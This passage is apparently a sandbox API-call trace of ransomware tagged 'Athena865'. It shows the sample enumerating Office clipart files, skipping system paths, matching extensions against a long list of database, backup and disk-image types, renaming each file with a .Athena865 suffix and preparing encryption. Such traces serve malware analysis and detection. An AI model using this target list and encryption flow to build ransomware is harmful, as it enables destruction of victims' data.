[0121.616] lstrlenW (lpString="pan") returned 3 [0121.616] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0121.616] lstrlenW (lpString="pdb") returned 3 [0121.616] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0121.616] lstrlenW (lpString="pdm") returned 3 [0121.617] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0121.617] lstrlenW (lpString="pnz") returned 3 [0121.617] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0121.617] lstrlenW (lpString="qry") returned 3 [0121.617] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0121.617] lstrlenW (lpString="qvd") returned 3 [0121.617] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0121.617] lstrlenW (lpString="rbf") returned 3 [0121.617] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0121.617] lstrlenW (lpString="rctd") returned 4 [0121.617] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0121.617] lstrlenW (lpString="rod") returned 3 [0121.617] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0121.617] lstrlenW (lpString="rodx") returned 4 [0121.617] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0121.617] lstrlenW (lpString="rpd") returned 3 [0121.617] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0121.617] lstrlenW (lpString="rsd") returned 3 [0121.617] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0121.617] lstrlenW (lpString="sas7bdat") returned 8 [0121.617] lstrcmpiW (lpString1="332_.WMF", lpString2="sas7bdat") returned -1 [0121.617] lstrlenW (lpString="sbf") returned 3 [0121.617] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0121.617] lstrlenW (lpString="scx") returned 3 [0121.617] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0121.617] lstrlenW (lpString="sdb") returned 3 [0121.617] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0121.617] lstrlenW (lpString="sdc") returned 3 [0121.617] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0121.617] lstrlenW (lpString="sdf") returned 3 [0121.618] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0121.618] lstrlenW (lpString="sis") returned 3 [0121.618] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0121.618] lstrlenW (lpString="spq") returned 3 [0121.618] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0121.618] lstrlenW (lpString="te") returned 2 [0121.618] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0121.618] lstrlenW (lpString="teacher") returned 7 [0121.618] lstrcmpiW (lpString1="32_.WMF", lpString2="teacher") returned -1 [0121.618] lstrlenW (lpString="tmd") returned 3 [0121.618] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0121.618] lstrlenW (lpString="tps") returned 3 [0121.618] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0121.618] lstrlenW (lpString="trc") returned 3 [0121.618] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0121.618] lstrlenW (lpString="trc") returned 3 [0121.618] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0121.618] lstrlenW (lpString="trm") returned 3 [0121.618] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0121.618] lstrlenW (lpString="udb") returned 3 [0121.618] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0121.618] lstrlenW (lpString="udl") returned 3 [0121.618] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0121.618] lstrlenW (lpString="usr") returned 3 [0121.618] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0121.618] lstrlenW (lpString="v12") returned 3 [0121.618] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0121.618] lstrlenW (lpString="vis") returned 3 [0121.618] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0121.618] lstrlenW (lpString="vpd") returned 3 [0121.619] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0121.619] lstrlenW (lpString="vvv") returned 3 [0121.619] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0121.619] lstrlenW (lpString="wdb") returned 3 [0121.619] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0121.619] lstrlenW (lpString="wmdb") returned 4 [0121.619] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0121.619] lstrlenW (lpString="wrk") returned 3 [0121.619] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0121.619] lstrlenW (lpString="xdb") returned 3 [0121.619] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0121.619] lstrlenW (lpString="xld") returned 3 [0121.619] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0121.619] lstrlenW (lpString="xmlff") returned 5 [0121.619] lstrcmpiW (lpString1="_.WMF", lpString2="xmlff") returned -1 [0121.619] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.Athena865") returned 73 [0121.619] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.621] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4296) returned 1 [0121.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.621] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.622] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.622] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.622] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d0, lpName=0x0) returned 0x154 [0121.623] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d0) returned 0x100000 [0121.624] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.625] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.625] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.625] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.626] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.626] CloseHandle (hObject=0x154) returned 1 [0121.626] CloseHandle (hObject=0x17c) returned 1 [0121.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.626] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0121.626] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.626] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.626] lstrcmpiW (lpString1="AN04355_.WMF", lpString2=".") returned 1 [0121.626] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="..") returned 1 [0121.626] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="windows") returned -1 [0121.626] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="bootmgr") returned -1 [0121.626] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="temp") returned -1 [0121.627] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="pagefile.sys") returned -1 [0121.627] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="boot") returned -1 [0121.627] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="ids.txt") returned -1 [0121.627] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="ntuser.dat") returned -1 [0121.627] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="perflogs") returned -1 [0121.627] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="MSBuild") returned -1 [0121.627] lstrlenW (lpString="AN04355_.WMF") returned 12 [0121.627] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN04355_.WMF" | out: lpString1="AN04355_.WMF") returned="AN04355_.WMF" [0121.627] lstrlenW (lpString="AN04355_.WMF") returned 12 [0121.627] lstrlenW (lpString="Athena865") returned 9 [0121.627] lstrcmpiW (lpString1="4355_.WMF", lpString2="Athena865") returned -1 [0121.627] lstrlenW (lpString=".dll") returned 4 [0121.627] lstrcmpiW (lpString1="AN04355_.WMF", lpString2=".dll") returned 1 [0121.627] lstrlenW (lpString=".lnk") returned 4 [0121.627] lstrcmpiW (lpString1="AN04355_.WMF", lpString2=".lnk") returned 1 [0121.627] lstrlenW (lpString=".ini") returned 4 [0121.627] lstrcmpiW (lpString1="AN04355_.WMF", lpString2=".ini") returned 1 [0121.627] lstrlenW (lpString=".sys") returned 4 [0121.627] lstrcmpiW (lpString1="AN04355_.WMF", lpString2=".sys") returned 1 [0121.627] lstrlenW (lpString="AN04355_.WMF") returned 12 [0121.627] lstrlenW (lpString="bak") returned 3 [0121.627] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0121.627] lstrlenW (lpString="ba_") returned 3 [0121.627] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0121.627] lstrlenW (lpString="dbb") returned 3 [0121.627] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0121.627] lstrlenW (lpString="vmdk") returned 4 [0121.627] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0121.627] lstrlenW (lpString="rar") returned 3 [0121.628] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0121.628] lstrlenW (lpString="zip") returned 3 [0121.628] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0121.628] lstrlenW (lpString="tgz") returned 3 [0121.628] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0121.628] lstrlenW (lpString="vbox") returned 4 [0121.628] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0121.628] lstrlenW (lpString="vdi") returned 3 [0121.628] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0121.628] lstrlenW (lpString="vhd") returned 3 [0121.628] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0121.628] lstrlenW (lpString="vhdx") returned 4 [0121.628] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0121.628] lstrlenW (lpString="avhd") returned 4 [0121.628] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0121.628] lstrlenW (lpString="db") returned 2 [0121.628] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0121.628] lstrlenW (lpString="db2") returned 3 [0121.628] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0121.628] lstrlenW (lpString="db3") returned 3 [0121.628] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0121.628] lstrlenW (lpString="dbf") returned 3 [0121.628] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0121.628] lstrlenW (lpString="mdf") returned 3 [0121.628] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0121.628] lstrlenW (lpString="mdb") returned 3 [0121.628] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0121.628] lstrlenW (lpString="sql") returned 3 [0121.628] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0121.628] lstrlenW (lpString="sqlite") returned 6 [0121.629] lstrcmpiW (lpString1="5_.WMF", lpString2="sqlite") returned -1 [0121.629] lstrlenW (lpString="sqlite3") returned 7 [0121.629] lstrcmpiW (lpString1="55_.WMF", lpString2="sqlite3") returned -1 [0121.629] lstrlenW (lpString="sqlitedb") returned 8 [0121.629] lstrcmpiW (lpString1="355_.WMF", lpString2="sqlitedb") returned -1 [0121.629] lstrlenW (lpString="xml") returned 3 [0121.629] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0121.629] lstrlenW (lpString="$er") returned 3 [0121.629] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0121.629] lstrlenW (lpString="4dd") returned 3 [0121.629] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0121.629] lstrlenW (lpString="4dl") returned 3 [0121.629] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0121.629] lstrlenW (lpString="^^^") returned 3 [0121.629] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0121.629] lstrlenW (lpString="abs") returned 3 [0121.629] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0121.629] lstrlenW (lpString="abx") returned 3 [0121.629] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0121.629] lstrlenW (lpString="accdb") returned 5 [0121.629] lstrcmpiW (lpString1="_.WMF", lpString2="accdb") returned -1 [0121.629] lstrlenW (lpString="accdc") returned 5 [0121.629] lstrcmpiW (lpString1="_.WMF", lpString2="accdc") returned -1 [0121.629] lstrlenW (lpString="accde") returned 5 [0121.629] lstrcmpiW (lpString1="_.WMF", lpString2="accde") returned -1 [0121.629] lstrlenW (lpString="accdr") returned 5 [0121.629] lstrcmpiW (lpString1="_.WMF", lpString2="accdr") returned -1 [0121.629] lstrlenW (lpString="accdt") returned 5 [0121.629] lstrcmpiW (lpString1="_.WMF", lpString2="accdt") returned -1 [0121.630] lstrlenW (lpString="accdw") returned 5 [0121.630] lstrcmpiW (lpString1="_.WMF", lpString2="accdw") returned -1 [0121.630] lstrlenW (lpString="accft") returned 5 [0121.630] lstrcmpiW (lpString1="_.WMF", lpString2="accft") returned -1 [0121.630] lstrlenW (lpString="adb") returned 3 [0121.630] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0121.630] lstrlenW (lpString="adb") returned 3 [0121.630] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0121.630] lstrlenW (lpString="ade") returned 3 [0121.630] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0121.630] lstrlenW (lpString="adf") returned 3 [0121.630] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0121.630] lstrlenW (lpString="adn") returned 3 [0121.630] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0121.630] lstrlenW (lpString="adp") returned 3 [0121.630] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0121.630] lstrlenW (lpString="alf") returned 3 [0121.630] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0121.630] lstrlenW (lpString="ask") returned 3 [0121.630] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0121.630] lstrlenW (lpString="btr") returned 3 [0121.630] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0121.630] lstrlenW (lpString="cat") returned 3 [0121.630] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0121.630] lstrlenW (lpString="cdb") returned 3 [0121.630] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0121.630] lstrlenW (lpString="ckp") returned 3 [0121.630] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0121.630] lstrlenW (lpString="cma") returned 3 [0121.631] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0121.631] lstrlenW (lpString="cpd") returned 3 [0121.631] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0121.631] lstrlenW (lpString="dacpac") returned 6 [0121.631] lstrcmpiW (lpString1="5_.WMF", lpString2="dacpac") returned -1 [0121.631] lstrlenW (lpString="dad") returned 3 [0121.631] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0121.631] lstrlenW (lpString="dadiagrams") returned 10 [0121.631] lstrcmpiW (lpString1="04355_.WMF", lpString2="dadiagrams") returned -1 [0121.631] lstrlenW (lpString="daschema") returned 8 [0121.631] lstrcmpiW (lpString1="355_.WMF", lpString2="daschema") returned -1 [0121.631] lstrlenW (lpString="db-journal") returned 10 [0121.631] lstrcmpiW (lpString1="04355_.WMF", lpString2="db-journal") returned -1 [0121.631] lstrlenW (lpString="db-shm") returned 6 [0121.631] lstrcmpiW (lpString1="5_.WMF", lpString2="db-shm") returned -1 [0121.631] lstrlenW (lpString="db-wal") returned 6 [0121.631] lstrcmpiW (lpString1="5_.WMF", lpString2="db-wal") returned -1 [0121.631] lstrlenW (lpString="dbc") returned 3 [0121.631] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0121.631] lstrlenW (lpString="dbs") returned 3 [0121.631] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0121.631] lstrlenW (lpString="dbt") returned 3 [0121.631] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0121.631] lstrlenW (lpString="dbv") returned 3 [0121.631] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0121.631] lstrlenW (lpString="dbx") returned 3 [0121.631] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0121.631] lstrlenW (lpString="dcb") returned 3 [0121.631] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0121.632] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0121.632] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.Athena865") returned 73 [0121.632] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.633] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3228) returned 1 [0121.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.633] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.634] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.634] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.634] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfa0, lpName=0x0) returned 0x154 [0121.637] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfa0) returned 0x100000 [0121.637] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.638] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.638] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.639] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.639] CloseHandle (hObject=0x154) returned 1 [0121.639] CloseHandle (hObject=0x17c) returned 1 [0121.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.639] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0121.639] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.639] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.639] lstrcmpiW (lpString1="AN04369_.WMF", lpString2=".") returned 1 [0121.639] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="..") returned 1 [0121.639] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="windows") returned -1 [0121.639] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="bootmgr") returned -1 [0121.640] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="temp") returned -1 [0121.640] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="pagefile.sys") returned -1 [0121.640] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="boot") returned -1 [0121.640] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="ids.txt") returned -1 [0121.640] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="ntuser.dat") returned -1 [0121.640] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="perflogs") returned -1 [0121.640] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="MSBuild") returned -1 [0121.640] lstrlenW (lpString="AN04369_.WMF") returned 12 [0121.640] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN04369_.WMF" | out: lpString1="AN04369_.WMF") returned="AN04369_.WMF" [0121.640] lstrlenW (lpString="AN04369_.WMF") returned 12 [0121.640] lstrlenW (lpString="Athena865") returned 9 [0121.640] lstrcmpiW (lpString1="4369_.WMF", lpString2="Athena865") returned -1 [0121.640] lstrlenW (lpString=".dll") returned 4 [0121.640] lstrcmpiW (lpString1="AN04369_.WMF", lpString2=".dll") returned 1 [0121.640] lstrlenW (lpString=".lnk") returned 4 [0121.640] lstrcmpiW (lpString1="AN04369_.WMF", lpString2=".lnk") returned 1 [0121.640] lstrlenW (lpString=".ini") returned 4 [0121.640] lstrcmpiW (lpString1="AN04369_.WMF", lpString2=".ini") returned 1 [0121.640] lstrlenW (lpString=".sys") returned 4 [0121.640] lstrcmpiW (lpString1="AN04369_.WMF", lpString2=".sys") returned 1 [0121.640] lstrlenW (lpString="AN04369_.WMF") returned 12 [0121.640] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.Athena865") returned 73 [0121.640] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.641] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4808) returned 1 [0121.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.642] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: 